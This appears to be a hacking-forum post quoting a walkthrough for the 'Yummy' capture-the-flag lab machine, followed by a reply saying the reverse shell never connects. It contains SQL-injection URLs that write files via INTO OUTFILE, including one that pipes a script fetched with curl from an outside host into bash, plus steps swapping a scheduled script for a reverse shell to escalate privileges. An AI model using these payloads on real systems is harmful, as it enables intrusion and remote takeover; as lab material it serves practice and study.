Oct 06, 2024, 02:24 AM
(Oct 06, 2024, 12:20 AM)jahman Wrote: Hello,
Here is a qick method to have a rev shell wiith mysql priv (admin X-AUTH-Token is required)
PHP Code:http://yummy.htb/admindashboard?s=aa&o=ASC%3b++select+"ping%3b"+INTO+OUTFILE++'/data/scripts/dbstatus.json'+%3b
http://yummy.htb/admindashboard?s=aa&o=ASC%3b++select+"curl+X.X.X.X/rev.sh+|bash%3b"+INTO+OUTFILE++'/data/scripts/fixer-v___'+%3b
privsec to www-data
PHP Code:mv /data/scripts/app_backup.sh /data/scripts/app_backup.sh.old
mv "Your_Revshell.sh" /data/scripts/app_backup.sh
privesc to user
PHP Code:string /var/www/app-qatesting/.hg/store/data/app.py.i
i don't get any hit back to upload the reverse shell ... i'm kinda stuck in the first step

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.


